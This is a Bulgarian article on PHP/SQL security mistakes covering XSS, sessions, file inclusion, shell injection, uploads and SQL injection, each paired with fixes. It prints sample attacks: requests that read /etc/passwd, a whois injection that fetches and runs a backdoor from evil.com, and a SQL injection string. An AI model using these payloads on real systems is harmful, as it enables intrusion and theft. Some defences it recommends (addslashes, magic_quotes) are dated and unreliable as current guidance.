Проблеми и недоглеждане при PHP/SQL програмиране

0
56

Въведение

– Преглед –

Когато се заговори за уеб програмиране, едни от най-често споменаваните думи
са PHP/Perl/ASP/XML/XSLT/SQL. Тази статия разглежда проблеми, които възникват
в следствие на не – достатъчно – добре премисленият код и събитията, които
могат да случат при съвсем не произволен сценарии. Ключови думи: PHP, XSS,
SQL Injection, Session Management.

– Идея за сигурност –

Принципът на действие на една средно защитена компютърна система е в система-
тичното анализиране на потокът от информация към/от нея и методите, по които
се третира той.

Проблеми/Грешки

– XSS/Cross Site Scripting –

[test1.php]

Код:



Следният пример изглежда напълно безобиден, докато не бъде осъзнат рискът от
XSS тип атака. Злонамерен потребител може лесно да промени стойността на
‘myname’ като добави враждебен HTML/Javascript код към него, след което го
изпрати като линк на друг потребител, който не подозира нищо нередно,
докато сайта наподобява реалният си вид. По такъв начин могат да бъдат
откраднати информация за идентифициране пред системата, сесийни cookies и
друга лична информация. Подобна развръзка може лесно да бъде избегната
след филтриране на стойността на променливата:

Код:



Същият вариант има приложение при HTTP POST ($_POST) форми.

– Работа със сесии –

Основна роля на сесиите е да предават профилирано данните от една страница
към друга. Чрез ID ключа на сесиите, потребителите на сайта могат да се
оторизират пред системата. Много често обаче със сесийните ID-та се спекулира
за достъп до персонална информация и пр. Не рядко линкове с ID-та се постват
неволно по форуми, irc, чрез мейл, browser history, отметки (bookmarks) и на
други публични места.

PHP >= 4.2 дава възможност идентификационните номера на сесиите да се крият,
чрез употреба на ‘session.use_trans_sid’ в php.ini.

Друга надеждна опция е ключовете на сесиите да се променят всеки път при
логване, чрез следният скрипт:

[test2.php]

Код:



– safe_mode, open_basedir –

‘PHP4 Bible’ на Тим Конвърс и Джойс Парк (ISBN 0-7645-4716-X) предлага
сравнително пълна интродукция на PHP/MySQL, заради което е предпочитана от
хората изучаващи езика. Въпреки това, книгата изобилства от незначителни до
сериозни грешки, но се спрях на само една от тях, тъй като беше упоменато,
че точно този код е сигурен и предотвратява изтичане на информация. В
оригиналното издание (английски) на страница 572, част 3, секция ‘Advanced
Techniques’ се казва:

„Няколко често срещани грешки при програмиране на PHP могат да помогнат и
улеснят хакер да прочете почти всеки файл на сървъра. Разгледайте следващата
страница:

[test3.php]

Код:



…“.

Дотук добре. http://example/?poem=$file наистина показва $file. Продължава:

„Следващият код е подходящо решение на този проблем:

[test4.php]

Код:




…“.

Според авторите на книгата, този пример (test4.php) решава проблема при
test3.php. Следното HTTP GET искане обаче, се възползва от неправилно
употребените променливи (всеки файл по файловата система с права поне o+r
е достъпен):

http://example.com/?poem=the_intruder&poem_file=/etc/passwd

Използване на register_globals тук все още не решава проблема. От тук нататък
могат да се разгледат поне 2 варианта. Първо, да се определи ‘open_basedir’ в
php.ini,

open_basedir = ‘/home/sheib/public_html/unsafe’

или от httpd.conf:


php_admin_value open_basedir /home/sheib/public_html/unsafe

чрез което да се ограничи достъпа до ресурси, които не принадлежат на
съответния потребител или да се филтрира стойността на ‘poem_file’ чрез
регулярни изрази (regexps).

Употребата на ‘open_basedir’ е идеалното решение при хостинг на много сайтове
(по-надолу ще стане дума как някои администратори се мъчат неумело да го
заобиколят), но въпреки това се лимитира сериозно функционалността на сайта.
Следователно е добре да се използва малко по-раздвижен подход:

[test5.php]

Код:


Невалидно искане от
'.$ip.'');
 }

  if (ereg('[/%-+& |><]', $_GET['poem_file'])) {  log_inv($ip, $time);  
 }  // ... 
?>

Така, log_inv() ще записва всички невалидни URI искания.

Примерът, за който стана въпрос по-горе е срещнат при един от популярните
български ИТ доставчици. Администраторът се е опитал да се опази от
изпълнение на php файлове, вероятно дочул за сценария при ДирБГ –
(http://ezine.hit.bg/mat/dirbg_howto), но въпреки това тяхното качване чрез
ftp е разрешено:

[httpd.conf]


RewriteEngine on
RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html
# RewriteRule ^/~(.)(.*)$ /home/$1/$1$2
RewriteRule ^/~(([a-z])[a-z0-9]+)(.*) /home/$2/$1/$3
ServerAdmin root@xxxx.net
DocumentRoot /usr/local/www/data
ServerName www.xxxx.net
ErrorLog /var/log/apache/www.xxxx.net-err
CustomLog /var/log/apache/www.xxxx.net-acc combined

От „RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html“ е видно,
че не са желаели файлове с разширение .php да се изпълняват на уеб сървъра
за този сайт. Файлове с разширение .php3 също не са разрешени. Фаталната
грешка, незабележима на пръв поглед, е в некоректно използванато rewrite(1)
правило, позволяващо изпълнение на .pHP, .pHp, .PHP, .Php и т.н. файлове.
Системата, а по-късно и мрежата са били компрометирани в следствие на
единствено тази грешка.

– Бисквити (cookies) –

Кукитата са несигурен (но удобен) начин за сърхранение на информация от
страната на клиента, поради възможността с тях да се спекулира. Сценарий,
при който една система за гласуване, разчита единствено на проверката на
стойността на бисквитата, която самата тя установява (или преустановява),
може да бъде лесно преодоляна като просто се забрани действието на cookies
от браузъра. Неотдавна OSNews.com установиха точно такива злоупотреби и
се наложи да пренапишат някои части от сайта си. В такъв случай е добре е
да се ползва IP-базиран или подобен подход:

[test6.php]

Код:




Бисквитите могат да бъдат откраднати при XSS тип хакове. Въпреки това са
лесни и удобни за използване, а съхранение на поверителна информация, макар
и кодирана, не е желателно.

– Външни програми –

Много от системните администатори и програмисти отчитат факта, че процесите
/скриптовете всъщност се изпълняват от потребителят стартирал уеб сървъра.
В общия случай – nobody/www. Taka, те често прибягват до забрана на някои
PHP фукнции (считайки че така могат да се предпазят), чрез нагласяне на
‘disable_functions’ в конфиг. файл на PHP. В черният списък често попадат
passthru(), fpassthru(), system(), readfile(), exec(), proc_open() и други.
Въпреки това, има предостатъчно допълнителни възможности, които могат да
бъдат използвани от злонамерени лица. В това число и безвредно изглеждащата
(на някого) mail() фукнция:

[test7.php]

Код:




Чрез „„“ също могат да бъдат изпълнявани команди. Възможен подход е
определяне на ‘safe_mode’ (php.ini). PHP модулът ще провери дали притежател
ят на скрипта е собственик и на файла, върху който се опитва да оперира:

-rw-r–r– 1 evildoer evildoer 120 Oct 10 09:11 test7.php
-rw-r–r– 1 root root 1116 Oct 4 12:10 /etc/passwd

$ php -q test7.php

Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is
not allowed to access /etc/passwd owned by uid 0 in /home/evildoer/mail.php
on line 2

От време на време ще се налага да ползвате външни програми чрез кода си.
Най-обезпокояващата част за администраторите е когато фукнциите викащи
тези програми се налага да работят с юзър-контролираният query стринг.
Следният пример показва недообмислена употреба на popen():

[test8.php]

Код:




Резултатът от

GET /test8.php?to=hostile%40box+%3c+%2fetc%2fpasswd HTTP/1.0

е:

$ mail hostile@box < /etc/passwd В такъв случай, могат да се приложат escapeshellcmd() и escapeshellarg():

Не малко ISP фирми предлагат услуги като LookingGlass, Whois, Traceroute
и т.н. чрез уеб страниците си. Наскоро срещнах този код в лошо измислен
скрипт:

[test9.php]

Код:


";
                          system("/usr/bin/whois $name");
                          echo"

„;
}
break;;
}

//…

?>


В случая, програмистът се доверява сляпо на информацията идваща от
клиентската страна и ‘whois’ изпълнява свободно аргумента. Достатъчно е
$name да бъдe заменен с ‘example.com ; curl http://evil.com/bd -o
/var/tmp/bd ; /var/tmp/bd’, или дори ‘|’, след като system() не изпълнява
само по една команда при извикване, а подава стройността на shell интерпре-
татора.

– Променливи м/у скриптове –

Добра идея е винаги да се внимава с употреба на include(), require()+once,
virtual(). В потвърждение на казаното, някои от популяните PHP приложения
съдържат бъгове в следствие на невалидирано използване на променливи.
Предходни версии на PHP-Nuke, Piranha, SquirrelMail и phpMyAdmin (по-долу)
предлагат богата „селекция“ от именно такива:

[test10.php]

Код:




$ lynx „http://example.com/phpMyAdmin/sql.php?btnDrop=No&goto=pth/to/FILE“

отпечатва $FILE.

– HTTP Upload на файлове –

Качването на файлове може да бъде лесно, но и проблематично, поради начина
по който PHP осъществява ъплоуда. Ако някой zealot промени www формата за
качване на файлове,

Код:




която работи с подобен скрипт

[fup.php]

Код:




на

Код:




вероятно ще успее де копира ‘/etc/passwd’ при своите файлове. Като решение
може да се заложи на следният скрипт:

[test11.php]

Код:




А най-добре е да се забрани напълно качването на изпълними от сървъра
файлове с regexp:

[test12.php]

Код:




– Инжектиране на SQL код –

Едно от най-полезните качества на PHP е възможността за бързо и опростено
манипулиране с всякакви РБДС-та (MySQL, PgSQL, mSQL, SyBase, Oracle, dBASE,
DB2 и много други комерсиални). В зависимост от данните, съдъжащи се в ДБ-
то ви, евентуален нелегитимен достъп може да има сериозни последствия.
test13.php е покзва обикновен скрипт, който се свързва с БД и изпълнява
семпла SELECT заявка:

[test13.php]

Код:




Въпросният скрипт е част от е-магазин, селектиращ информация относно
финансите и номера на социалната осигуровка на клиента. Повечето фукнции
за заявки предотвратяват изпъленението на повече от 1 запитване до базата,
така че

db_query(„SELECT * …; UPDATE tbl_name SET …;“);

ще изпълни само първата заявка. Всичко изглежда в ред, докато някой не
замести $UserID от HTTP форм. с „$UserID OR userid LIKE „%“;'“ (и получи
цялата информация за банкиране от таблицата) По-новите версии на PHP имат
вградена протекция срещу това, като в ini файла на PHP ‘magic_quotes_gpc’
„заобикаля“ (escape) въведеното от потребителя GET/POST/COOKIE съдържание
от „‘“. Въпреки това, не може да се разчита винаги на тях (могат да бъдат
премахнати по редица причини) и е добре са се ползват addslashes() при
променливи отиващи директно към БД и stripslashes() при изход.

– Кодирана информация –

По лични наблюдения, много от софтуера който се пише за онлайн магазините
се прави така, че цялата информация за клиента се записва в БД некодирано,
т.е. всеки с привилегирован достъп до базата може да я разгледа спокойно и
използва. Това е сериозна грешка в дизайна на много от системите,
предлагащи такива услуги, и причина да се задигат всеки ден хиляди кредитни
карти заедно с всякакви поверителни данни. Решението на въпроса не е лесно
за изпълнение, но пък е решаващо за фирмата-изпълнител. Схематично, това
представлява:

> Сървър за SSL транзакции от уеб (където оперира магазина)
> БД сървър, който работи със SSL протокол (кодира информацията с различни
енкрипващи механизми/стандарти AES/DES/PGP/MD5 и др.)
> Трета машина (не стояща в Интернет) която служи за връзка директно с БД
/SSL сървъра и борави с данните на клиентите.

В код това може да изглжда така:

[test14.php]

Код:




mysql> SELECT AES_DECRYPT(‘ВШМiJIЛSZXь’, ‘key_val’) AS encdata;
+––––-+
| encdata |
+––––-+
| aaadefefewf |
+––––-+
1 row in set (0.00 sec)

Заключителни думи

Обикновено програмистите работят със срокове, които им се поставят като
реални граници във времето. Необходимостта от спазването им и липсата на
достатъчно време, често води до предизвикване на грешки, в следствие
от недооглеждането и не добрият дизайн на кода. За да се намали риска от
такива проблеми, съдържанието на всяка променлива произхождаща от външни
източници (в това число cookies, get/post форми, работа с фaйлове и
т.н.) трябва да се анализира внимателно и да се определи валидността й,
преди да бъде разрешено ползването й по-нататък в кода. Информацията,
съхранявана в БД, независимо от предназначението й, трябва да бъде умело
защитена.

Референции

– Линкове/Литература –

[1] Phreedom Magazine – http://www.phreedom.org
[2] Computer Emergency Response Team – http://www.cert.org
[3] PHP Magazine – http://www.php-mag.net
[4] PHP Architect – http://www.phparch.com

Автор: sheib, linux-bg
Екипа на kaldata.com благодари на linux-bg за предоставената статия

ДОБАВИ КОМЕНТАР

Коментирай това преди всички други

Извести ме за
avatar
wpDiscuz